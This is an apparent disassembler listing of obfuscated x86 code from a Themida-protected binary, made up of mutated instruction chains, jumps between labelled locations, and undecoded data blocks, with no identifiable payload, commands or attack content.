		dd 0D601013Eh, 4C6835Ah, 5C243487h, 0FFCA6AE9h,	5FFA31FFh
		dd 0E95AD589h, 1862h
; ---------------------------------------------------------------------------


loc_556264:				; CODE XREF: Themida_:0056197Aj
		mov	ecx, 68E4C61h
		shr	ecx, 7
		xor	ecx, 37DBDBDDh
		add	ebp, 242A07DCh
		add	ebp, ecx
		jmp	loc_5562D1
; ---------------------------------------------------------------------------


loc_55627F:				; CODE XREF: Themida_:00556A62j
		mov	edx, ebp
		jmp	loc_555AF5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 2EC7E9h, 4C38100h, 0E9000000h, 0B532h
		dd 4EC81h, 1C890000h, 0E9E38924h, 7B04h
; ---------------------------------------------------------------------------


loc_5562B0:				; CODE XREF: Themida_:00564402j
		pop	ebp
		sub	edx, 37D14436h
		push	ebp
		mov	ebp, 25C97623h
		xor	ebp, 4DA0016Ah
		jmp	loc_55807C
; ---------------------------------------------------------------------------


loc_5562C8:				; CODE XREF: Themida_:0055F456j
		sub	ecx, edi
		pop	edi
		push	ebp
		jmp	loc_55C8EF
; ---------------------------------------------------------------------------


loc_5562D1:				; CODE XREF: Themida_:0055627Aj
		sub	ebp, 242A07DCh
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5543F4
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 0FFC9DAE9h, 0A8E281FFh, 81561D35h, 0F51E4AEAh, 8CC28150h
		dd 295B5C6Dh, 0FB015AD3h, 7F42B850h, 0C3015A6Ch, 2434FF58h
		dd 8B54515Fh, 0C483240Ch, 4C18104h, 56000000h, 4BEh, 5EF10100h
		dd 5C240C87h, 2B850h, 0C3010000h, 8124048Bh, 4C4h, 241C3300h
		dd 33241C31h, 248B241Ch, 0C8B6624h, 0D320E924h,	0C8BFFFFh
		dd 4C48324h, 8104C483h,	9852FEC3h, 91B85029h, 35091034h
		dd 280A77CEh, 90C5E9h, 81C33100h, 0B92ECFF3h, 5BD83161h
		dd 0FF66C331h, 0C941E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556382:				; CODE XREF: Themida_:0055B6A5j
		mov	[esp], edx
		mov	edx, 4
		add	esi, 0FD9303Ch
		add	esi, edx
		sub	esi, 0FD9303Ch
		pop	edx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		xor	edi, 219727A6h
		mov	edx, edi
		push	dword ptr [esp]
		jmp	loc_553AC1
; ---------------------------------------------------------------------------
		db 40h
		dd 2D03E0C1h, 579C5EEFh, 541BBA52h, 0E2C10C54h,	81DAF703h
		dd 0C12467E2h, 81D2F763h, 446068CAh, 0D4EA813Ah, 5AFE3ADh
		dd 759B1CB1h, 0A49DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5563ED:				; CODE XREF: Themida_:0055AEE7j
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		mov	dl, 1Eh
		jmp	loc_55945B
; ---------------------------------------------------------------------------


loc_556407:				; CODE XREF: Themida_:00558E3Bj
		and	edx, 1D315D4Dh
		and	edx, 3BFD7663h
		sub	edx, 879798E1h
		xor	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0CAFE2B1h
		add	ebp, ecx
		pop	ecx
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_561089
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 50h
aF6d@s		db '╦f6D@Ищ;',0
		align 2
a0Su		db '0ЙИ·,',0
		db 0
; ---------------------------------------------------------------------------


loc_556451:				; CODE XREF: Themida_:00563B57j
		pop	edx
		add	edx, 4
		jmp	loc_55857A
; ---------------------------------------------------------------------------


loc_55645D:				; CODE XREF: Themida_:005656ACj
		add	esi, 6FBA5065h
		add	esi, ebx
		jmp	loc_5600BC
; ---------------------------------------------------------------------------
		dw 48Bh
aSS_4		db '$Имs',0
		align 2


loc_556472:				; CODE XREF: Themida_:00554387j
		add	edi, 556804A6h
		push	eax
		mov	eax, 26D00B5Ch
		or	edi, eax
		pop	eax
		jmp	loc_558AE6
; ---------------------------------------------------------------------------
aRst		db 'RИ▓"',0
		align 4


loc_55648C:				; CODE XREF: Themida_:00565A6Cj
		mov	ah, 6Bh
		sub	ah, 0A4h
		shl	ah, 6
		neg	ah
		push	ebx
		mov	bl, 0E7h
		add	ah, bl
		jmp	loc_557660
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0C568242Ch, 5D679210h, 0C8BDE9h, 8BFD0100h
		dd 0C483243Ch, 669C6804h, 3C890000h, 0B2F7E924h, 0ED810000h
		dd 38586BBAh, 242C8758h, 0E924248Bh, 0FFFFDE1Dh
; ---------------------------------------------------------------------------


loc_5564D8:				; CODE XREF: Themida_:00567503j
		pop	eax
		add	esp, 4
		jmp	loc_560CB8
; ---------------------------------------------------------------------------


loc_5564E4:				; CODE XREF: Themida_:0055F268j
		sub	[esp], dh
		jmp	loc_55CB3C
; ---------------------------------------------------------------------------
		dd 0BE56D7F7h, 16E66165h, 0B3E94E46h, 8900001Ah, 3EBCE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556502:				; CODE XREF: Themida_:0055AA93j
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	2Ah
		mov	[esp], ebx
		push	ecx
		jmp	loc_55AF13
; ---------------------------------------------------------------------------
byte_55653B	db 0FFh			; DATA XREF: Themida_:00552B64o
		dd 669D1C77h, 14D36659h, 78E99C24h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55654B:				; CODE XREF: Themida_:0055CA57j
		add	esp, 4
		jmp	loc_5531C5
; ---------------------------------------------------------------------------


loc_556556:				; CODE XREF: Themida_:005626CFj
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	4491h
		mov	[esp], edi
		mov	edi, 11B200B0h
		jmp	loc_553B88
; ---------------------------------------------------------------------------
aS_8		db '^И&╥',0
		align 2
		dw 0E281h
		dd 2A360470h, 12AFF281h, 0E2D10735h, 0A9B5EA81h, 90E9F6C5h
		db 13h,	1, 0
; ---------------------------------------------------------------------------


loc_556597:				; CODE XREF: Themida_:00566476j
		pop	dword ptr [esp]
		jmp	loc_5620ED
; ---------------------------------------------------------------------------


loc_55659F:				; CODE XREF: Themida_:00554D0Cj
		sub	[esp], esi
		pop	esi
		shl	esi, 2
		not	esi
		add	esi, 230ACE1h
		xor	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	7CF5h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	200000h
		jmp	loc_55BF44
; ---------------------------------------------------------------------------


loc_5565D3:				; CODE XREF: Themida_:005650F0j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_553C67
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0B452D0CDh, 0A0F58156h, 13AF776h, 0E9815DE9h, 7E556746h
		dd 0CFFE9h, 0E1E95000h,	0BF000058h, 2AE84D8Bh, 571DBD55h
		dd 0ED8164FEh, 2DBB4094h, 0F75DEF01h, 0EFC14FDFh, 78EF8108h
		dd 29CFB382h, 0BB535FFAh, 4F226619h, 0E7E9DA21h, 0C000010Ch
		dd 0ED8005E5h, 86DFE9F9h, 0C4830000h, 0B2AEE904h, 49680000h
		dd 89000027h, 21E9241Ch
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556653:				; CODE XREF: Themida_:0055FC45j
		push	ebx
		push	ecx
		jmp	loc_55FAD0
; ---------------------------------------------------------------------------


loc_55665A:				; CODE XREF: Themida_:0055487Cj
		mov	esi, 3FB66EFBh
		sub	esi, 571F7A0Ah
		add	esi, 33730DB2h
		shl	esi, 8
		add	esi, 1
		push	ebp
		mov	ebp, 4769C9C7h
		xor	esi, ebp
		jmp	loc_554D06
; ---------------------------------------------------------------------------
		dw 0C1BFh
		dd 812A4451h, 4451C5F7h, 0E9F9292Ah, 80BDh, 1049C281h
		dd 34FF7BC4h, 0D35DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55669E:				; CODE XREF: Themida_:0056440Aj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		not	esi
		push	576Bh
		mov	[esp], eax
		push	205Ch
		mov	[esp], esi
		pop	eax
		push	dword ptr [esp]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55F595
; ---------------------------------------------------------------------------


loc_5566DD:				; CODE XREF: Themida_:0055336Ej
		push	eax
		mov	eax, esp
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_556131
; ---------------------------------------------------------------------------
		db 53h
		dd 0CBFE8CB3h, 0C001C380h, 0EBC006EBh, 54F38007h, 2C5BDD88h
		dd 53E800A7h, 3703E9h, 8BCB0100h, 25E9240Ch, 560000F2h
		dd 0EEF9F2BEh, 0E9F23110h, 0FFFFEAB4h, 5502C583h, 42474FFh
		dd 1024CE9h
		db 0
; ---------------------------------------------------------------------------


loc_556731:				; CODE XREF: Themida_:00556A6Ej
		shl	eax, 7
		push	ecx
		mov	ecx, 0B6BEC9F8h
		sub	eax, 69856736h
		add	eax, ecx
		add	eax, 69856736h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 13927B53h
		neg	edi
		xor	edi, 91669E20h
		sub	ecx, edi
		pop	edi
		add	ecx, 23B0479Dh
		and	ecx, 1AD23857h
		jmp	loc_55B299
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 9C6Bh, 2434895Ch, 0F308E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55678E:				; CODE XREF: Themida_:00559AB9j
		pop	eax
		jmp	loc_55CD37
; ---------------------------------------------------------------------------
		dd 0D324248Bh, 0E99C2404h, 0FFFFC523h, 4C481h, 0E5810000h
		dd 3E5A50ADh, 8108E5C1h, 0FFFFFFC5h, 0BF574DFFh, 21A44116h
		dd 0B424E9h, 24148B00h,	0C004C483h, 0B15103EFh,	0C0C1FE9Bh
		dd 0E1C008E1h, 80D9F603h, 0CF282CF1h, 0F62C59h,	23E952F8h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5567E7:				; CODE XREF: Themida_:0055CD07j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55CE35
; ---------------------------------------------------------------------------


loc_5567F9:				; CODE XREF: Themida_:005648B4j
		mov	eax, esp
		add	eax, 4
		jmp	loc_55569D
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0ADh
		dd 31FFFFF3h, 5361E9EFh, 0BB530000h, 4CE721D7h,	7461E381h
		dd 0F381693Eh, 8F6AA39Ch, 3EF8E981h, 0D9011F54h, 3EF8C181h
		dd 815B1F54h, 842034C6h, 232E901h, 0CB810001h, 4E72522Fh
		dd 0F381DBF7h, 40B7FBB6h, 0E95BDA01h, 0FFFFF7CDh, 74445BB8h
		dd 58C60156h, 0C681D6F7h, 0B5DC31CAh, 295EF701h, 243C8BF8h
		dd 8B04C483h, 89502414h, 9832E9E0h, 0C3000000h,	66A9C380h
		dd 0A775E952h, 295D0000h, 105EE9C2h, 0F7680001h, 89000052h
		dd 5B54241Ch, 81E18951h, 4C1h, 0D5BD5500h, 0E919F333h
		dd 8C4Eh
dword_5568AC	dd 240C8B66h, 652E68h, 242C8900h, 0C581E589h, 4, 57B368h
					; DATA XREF: Themida_:00552AB0o
		dd 63A7E900h, 0C330000h, 240C3124h, 0E9240C33h,	3C95h
		dd 34FFDE09h, 0C4835B24h, 8EEC104h, 0D1685657h,	8B602524h
		dd 0C4832434h, 0A9BF5704h, 214EE849h, 0F6815FFEh, 6EB066D5h
		dd 0D31E9h, 5FF90100h, 5C240C87h, 3EC3E9h, 29E95700h
		db 40h,	2 dup(0)
byte_556917	db 64h			; DATA XREF: Themida_:005529E8o
		dd 0A4E932FFh, 0FFFFFFC3h, 515A2434h, 0C181E189h, 4, 4C181h
		dd 9EE90000h, 0BA0000B7h, 787F15C6h, 131AE281h,	0EA812EBAh
		dd 7ACD62C9h, 8306E2C1h, 2C8904ECh, 13F9BD24h, 0EA813E75h
		dd 4E3A78CCh, 0C281EA29h, 4E3A78CCh, 6EAC15Dh, 81E78957h
		dd 4C7h, 4CE95100h, 810000A5h, 5E2282CEh, 0E9AAE93Bh, 0FB87FFFFh
		dd 0A3C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_556989:				; CODE XREF: Themida_:00562CBAj
		mov	edx, 28h
		sub	edx, 6466622h
		jmp	loc_55C6C8
; ---------------------------------------------------------------------------
		db 0B8h, 0F2h, 8Ch
		dd 0C389FA0Bh, 2147E9h,	4EC8100h, 0E9000000h, 605Bh, 0FB4CF3BBh
		dd 93C38105h, 0C1531820h, 0C38102E3h, 9BB249ECh, 835BDE01h
		dd 348704C6h, 0CE95C24h, 5CFFFFE5h, 0E9240C89h,	219Eh
		dd 4EC81h, 2C890000h, 24348124h, 5A6E0732h, 32F18159h
		dd 895A6E07h, 0D3E959CAh, 510000C7h, 60D56852h,	148B78D1h
		dd 4C48324h, 0C2814242h, 7EC10479h, 5732E956h, 0D9000000h
		dd 0F4B4505Bh, 8058E130h, 506691C1h, 0E100A5B4h, 0B7535866h
		dd 5BF80034h, 342CC800h, 0FF2434FFh, 27E92434h,	520000D5h
		dd 55E7E9h
		db 0
byte_556A45	db 64h,	66h, 0Fh	; DATA XREF: Themida_:00552B5Co
		dd 0A9E902B6h, 0E9000063h, 0FFFFC26Fh, 8B241433h, 4DE92424h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A5F:				; CODE XREF: Themida_:0055430Fj
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55627F
; ---------------------------------------------------------------------------


loc_556A67:				; CODE XREF: Themida_:0055D3F9j
		pop	ecx
		neg	eax
		neg	eax
		not	eax
		jmp	loc_556731
; ---------------------------------------------------------------------------


loc_556A73:				; CODE XREF: Themida_:0055D965j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 7780248Bh
		jmp	loc_5670F4
; ---------------------------------------------------------------------------
aMsts		db '╛ИTИ',0             ; DATA XREF: Themida_:00552A84o
		align 10h
a1Sjn		db '1хИJ█',0
		dw 3100h
		dd 2434FFE8h, 3023685Dh, 1C890000h, 81E38924h, 4C3h, 4BD5500h
		dd 1000000h, 2F8E9EBh, 0BF570001h, 354A4D10h, 0F06B61BAh
		dd 5FFA2959h, 689168h, 242C8900h, 2F4E0BBDh, 5DEA091Bh
		dd 0C107EAC1h, 0EA8105EAh, 1, 2414F752h, 0BF57425Ah, 0D8B6C53h
		dd 5205EFC1h, 0E32C88BAh, 9CEA813Fh, 52563409h,	0B2A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_556B05:				; CODE XREF: Themida_:0055F76Fj
		mov	ebx, 0B95DE341h
		sub	esi, ebx
		pop	ebx
		mov	ecx, esi
		pop	esi
		jmp	loc_563BCE
; ---------------------------------------------------------------------------
aIH5c		db '\┴,$h5C',0
		align 2
		dw 1C89h
		dd 242C8B24h, 4C481h, 5B550000h, 0DABAE9h
		db 0
; ---------------------------------------------------------------------------


loc_556B31:				; CODE XREF: Themida_:005671B7j
		add	edi, 34949745h
		jmp	loc_56784A
; ---------------------------------------------------------------------------


loc_556B3C:				; CODE XREF: Themida_:0055EA5Cj
		sub	edx, esi
		pop	esi
		add	edx, ebx
		add	edx, 5AF85666h
		push	dword ptr [edx]
		pop	ecx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55CEBB
; ---------------------------------------------------------------------------
		dw 8759h
		dd 895C2404h, 56BE2434h, 1735156h, 8789E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556B6A:				; CODE XREF: Themida_:00560505j
		mov	eax, 2B9A07BCh
		mov	ebp, 2BCF413Eh
		xor	ebp, eax
		pop	eax
		push	ebp
		xor	dword ptr [esp], 4E1E372Dh
		pop	eax
		xor	eax, 4E1E372Dh
		mov	ebp, [esp]
		jmp	loc_553496
; ---------------------------------------------------------------------------
		db 5Ah,	5Dh, 4Ah
		dd 0FFE12AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556B95:				; CODE XREF: Themida_:005542D8j
		xor	edx, 2B4A2BE6h
		xor	edx, 14AE6C41h
		or	edx, 2A9354C9h
		jmp	loc_55A0CE
; ---------------------------------------------------------------------------
aYsn		db 'YИnЙ',0
		align 2
		dw 0D6F7h
		dd 81DEF746h, 0BE025AE6h, 0BB535754h, 3F307A24h, 0FDA646BFh
		dd 0E9DF01C4h, 0D6D1h, 1066E181h, 0F74933AAh, 2E1C1D1h
		dd 5E71E981h, 0CA29A44Eh, 86C68159h, 12B6607h, 86EE81D6h
		dd 0E92B6607h, 0FFFFF31Dh
; ---------------------------------------------------------------------------


loc_556BF8:				; CODE XREF: Themida_:00553C93j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_55823A
		push	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5559D9
; ---------------------------------------------------------------------------
byte_556C1B	db 0ACh			; DATA XREF: Themida_:00552A64o
		dd 19C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_556C21:				; CODE XREF: Themida_:0055DCDEj
		push	edi
		push	273A50FFh
		pop	edi
		not	edi
		sub	edi, 8C3F9B69h
		mov	esi, edi
		pop	edi
		xor	esi, 717522D5h
		jmp	loc_5599A5
; ---------------------------------------------------------------------------


loc_556C3E:				; CODE XREF: Themida_:0055AC34j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		mov	ebx, 751A30DAh
		xor	ebx, 6FCC2FD7h
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		push	eax
		sub	esp, 4
		mov	[esp], esi
		push	31533B89h
		pop	esi
		mov	eax, esi
		pop	esi
		push	0
		sub	[esp], eax
		pop	eax
		or	eax, 65B93229h
		add	eax, 1B1B5FB7h
		or	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 1006090Eh
		jmp	loc_5605D5
; ---------------------------------------------------------------------------
		db 1
		dd 0FF505EF0h, 0E9042474h, 375Dh, 4C281h, 0EA830000h, 24148704h
		dd 8924248Bh, 10E9241Ch, 81FFFFCBh, 1F69DBEDh, 0F2DFE975h
		dd 34890000h, 0DA09E924h, 8868FFFFh, 0E970C1CFh, 0F2FAh
		dd 0C181F101h, 2670746Dh, 0A8A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_556CE1:				; CODE XREF: Themida_:0055E319j
		add	ecx, 64AA44E4h
		push	ebp
		jmp	loc_5645F3
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 8904EC83h, 6368240Ch, 593B1606h, 4244481h, 15806180h
		dd 4244C29h, 4246C81h, 15806180h, 0E9505A59h, 0FFFFEC15h
		dd 3A80685Ch, 1C890000h, 1C8B5424h, 4C48324h, 73685657h
		dd 5E46221Ah, 8102E6C1h, 642271EEh, 5EF789EFh, 0CEF78147h
		dd 8142926Ah, 0B62D96F7h, 0B4EB816Bh, 0E9529754h, 0FD38h
		dd 5D5768h, 2EF7E900h, 0EEC10000h, 69F68107h, 81192AE8h
		dd 6E0B1AEBh, 81F30119h, 6E0B1AC3h, 76E95E19h, 83FFFFC9h
		dd 75E904C4h, 4AFFFFC5h, 0E5E9h, 244C3100h, 1C8B5904h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 230C7FC9h
		dec	esi
		shr	esi, 8
		inc	esi
		sub	esi, 230C7Ch
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	7655h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_563F7D
; ---------------------------------------------------------------------------
aNs_0		db 'NИ╫`',0
		dd offset dword_5B5800
		dd 2434FFEBh, 8B2434FFh, 0A2E9240Ch, 81FFFFF9h,	4C4h, 0F7AE900h
		dd 8B660000h, 0C4832414h, 0C0B60F02h, 0E987048Fh, 0D2A5h
; ---------------------------------------------------------------------------


loc_556DF4:				; CODE XREF: Themida_:00564329j
		shl	edi, 4
		neg	edi
		xor	edi, 0D19F0B7Bh
		sub	eax, edi
		jmp	loc_55756E
; ---------------------------------------------------------------------------
		dw 95Eh
		dd 0C2E91C57h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556E0F:				; CODE XREF: Themida_:00553547j
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5621A7
; ---------------------------------------------------------------------------
		dd 0E1E9C801h, 81000026h, 0F6397DEFh, 0C7815E48h, 5E32158Ch
		dd 0EF81D729h, 5E32158Ch, 0D93BE9h, 240C8B00h, 0E20AE9h
		dd 0C4815A00h, 4, 0D6E95545h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E57:				; CODE XREF: Themida_:0055F015j
		xor	edx, [esp]
		jmp	loc_55CC34
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6F100D0Fh, 348BF129h, 2869E924h, 0E2810000h,	6BE46765h
		dd 2523F281h, 0D331544Ch, 0F381435Ah, 62BD1F89h, 1C8BDE31h
		dd 4C48124h, 9000000h, 24348BF7h, 8104C483h, 965F03EFh
		dd 0BD555367h, 253A4358h, 45E9EB89h, 8100007Ah,	2B1E9BF7h
		dd 856BE94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556EB6:				; CODE XREF: Themida_:005610FAj
		mov	ch, 0B8h
		sub	ch, bh
		pop	ebx
		jmp	loc_5673B4
; ---------------------------------------------------------------------------
dword_556EC0	dd 0D9B353ACh, 0C3FED3F6h, 5066D3F6h, 0C32014B0h, 0C3FE5866h
					; DATA XREF: Themida_:00552A88o
		dd 282CEB80h, 84045BD8h, 101AFE9h, 48F5A00h, 0C3815C24h
		dd 47FA2CEFh, 0EB81C329h, 47FA2CEFh, 38C1C381h,	0E3E976FAh
		db 0F3h, 2 dup(0FFh)
byte_556EFF	db 0FFh			; DATA XREF: Themida_:00552B24o
a4Xh		db '4$Xh,{',0
		align 4
		dd 54243C89h, 5F2434FFh, 4C481h, 68500000h, 3929h, 10265E9h
		dd 245C2900h, 2434FF04h, 83241C8Bh, 65E904C4h, 51000097h
		dd 0FFC2D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F39:				; CODE XREF: Themida_:00562675j
		add	eax, 2FE14623h
		sub	eax, 0A5C18B8Eh
		mov	edi, eax
		pop	eax
		and	ebx, edi
		pop	edi
		add	ebx, 0FEF31DE6h
		jmp	loc_565E43
; ---------------------------------------------------------------------------


loc_556F54:				; CODE XREF: Themida_:00559073j
		mov	ecx, 15D7F3Dh
		shr	ecx, 3
		sub	ecx, 7ADF7979h
		dec	ecx
		push	ebp
		mov	ebp, 42DD0252h
		jmp	loc_561972
; ---------------------------------------------------------------------------


loc_556F6E:				; CODE XREF: Themida_:0055F70Aj
		pop	ebx
		add	ecx, 14094467h
		add	ecx, eax
		sub	ecx, 14094467h
		jmp	loc_55D0EE
; ---------------------------------------------------------------------------


loc_556F82:				; CODE XREF: Themida_:00566F4Ej
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5588E1
; ---------------------------------------------------------------------------
		dd 4C481h, 1D680000h, 0E900003Dh, 9DC4h, 2B78BF57h, 45E9029Eh
		dd 5700000Dh, 656E7ABFh, 56E7D10Fh, 854F35BEh, 0D5F68106h
		dd 0F7062513h, 76EE81DEh, 0E9C16A80h, 0B2CFh, 2817B652h
		dd 24148BF3h, 93BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_556FD9:				; CODE XREF: Themida_:00558A11j
		xor	ecx, 37103C4Bh
		jmp	loc_5669FB
; ---------------------------------------------------------------------------


loc_556FE4:				; CODE XREF: Themida_:0056315Dj
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_55F73E
; ---------------------------------------------------------------------------


loc_556FEF:				; CODE XREF: Themida_:0055E04Ej
		mov	ebx, 4
		jmp	loc_55C8C9
; ---------------------------------------------------------------------------


loc_556FF9:				; CODE XREF: Themida_:00561113j
		mov	esi, 1CF234C4h
		and	esi, 715C1537h
		jmp	loc_56358D
; ---------------------------------------------------------------------------
		db 80h,	0E4h, 19h
		dd 80A9CC80h, 0F480FFECh, 58E33034h, 352BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55701D:				; CODE XREF: Themida_:005650DBj
		push	69A1h
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_55B6A1
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 44h
		dd 0F70C7D2Ch, 0DFF381DBh, 29198B96h, 0AC86E9D9h, 0F2810000h
		dd 0D4E46FC2h, 0B91FE9h, 240C3300h, 33240C31h, 0F75C240Ch
		dd 4EC81F1h, 89000000h,	0E9542434h, 1079Bh
; ---------------------------------------------------------------------------


loc_557070:				; CODE XREF: Themida_:0055E8E2j
		sub	edx, 3E763971h
		add	edx, eax
		add	edx, 3E763971h
		push	3C25h
		mov	[esp], eax
		push	edx
		mov	edx, 1DFF0C9Eh
		shl	edx, 6
		inc	edx
		shr	edx, 8
		shr	edx, 3
		neg	edx
		sub	edx, 0C796CAE5h
		mov	eax, edx
		pop	edx
		jmp	loc_55C599
; ---------------------------------------------------------------------------


loc_5570A6:				; CODE XREF: Themida_:00558F00j
		sub	ecx, edi
		jmp	loc_5657CE
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 6B6015C3h, 1C335847h, 241C3124h, 0E9241C33h,	0FFFFD0F7h
		dd 5A3BC380h, 0B6EB805Ah, 0E950C328h, 4EB8h
; ---------------------------------------------------------------------------


loc_5570D4:				; CODE XREF: Themida_:005675FDj
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_55D8C8
; ---------------------------------------------------------------------------
		db 68h,	82h, 1Dh
		dd 45E90000h, 81FFFFE9h, 4C4h, 0B9685700h, 89000004h, 0CFE92424h
		dd 87FFFFEBh, 815C241Ch, 255EAEEAh, 0E9DA014Eh,	0ADAh
; ---------------------------------------------------------------------------


loc_557110:				; CODE XREF: Themida_:00560F84j
		xor	eax, 0AB5AF9E4h
		jmp	loc_564D7D
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 0CAE7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557122:				; CODE XREF: Themida_:005560B2j
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, ch
		mov	al, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, al
		mov	bl, dl
		jmp	loc_562C9E
; ---------------------------------------------------------------------------
dword_557140	dd 0DBB53ADh, 5150F533h, 0EA77FDB9h, 59C80176h,	0FD2DD801h
					; DATA XREF: Themida_:00552B30o
		dd 0FF76EA77h, 1C8B2434h, 4C48324h, 3FBAE9h, 0EABD5500h
		dd 213B835Ah, 242C8BEBh, 5204C483h, 5A0068h, 0D3315A0Bh
		dd 5A2434FFh, 0E904C483h, 0FFFFBB3Bh, 242C895Ch, 631F6852h
		dd 148B5E7Eh, 4C48124h,	81000000h, 0FFFFFFC2h, 5B97E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5571A6:				; CODE XREF: Themida_:005615EDj
		push	ecx
		jmp	loc_563963
; ---------------------------------------------------------------------------
		dd 0E95FF931h, 5B96h
; ---------------------------------------------------------------------------


loc_5571B4:				; CODE XREF: Themida_:0056574Cj
		or	edx, 75A406FBh
		sub	edx, 0FFFFFFFFh
		neg	edx
		jmp	loc_5631FF
; ---------------------------------------------------------------------------


loc_5571C4:				; CODE XREF: Themida_:00559728j
		sub	ecx, 4056825h
		pop	edx
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_563748
		push	dword ptr [edi+1Ch]
		push	4037h
		mov	[esp], eax
		mov	eax, 68590B8Ch
		xor	[esp+4], eax
		pop	eax
		jmp	loc_560437
; ---------------------------------------------------------------------------


loc_5571F5:				; CODE XREF: Themida_:0055AD89j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		jmp	loc_554881
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 53000000h,	0F41F00BBh, 5CBA525Bh, 2910EF16h
		dd 0EF815AD7h, 61160FF6h, 81E9DF29h, 0BA000048h, 38935938h
		dd 392FB951h, 0F1812C1Fh, 7A5D1F05h, 0C8BCA31h,	0E6895624h
		dd 4C681h, 0EC810000h, 4, 7394E9h, 0BE5600h, 0E9000000h
		dd 4646h
; ---------------------------------------------------------------------------


loc_557260:				; CODE XREF: Themida_:0055E462j
		sub	ebx, 36F958DFh
		xor	[ebx], ecx
		mov	ebx, [esp]
		jmp	loc_55AF35
; ---------------------------------------------------------------------------


loc_557270:				; CODE XREF: Themida_:0055EBD1j
		pop	edx
		xor	eax, ecx
		pop	ecx
		push	eax
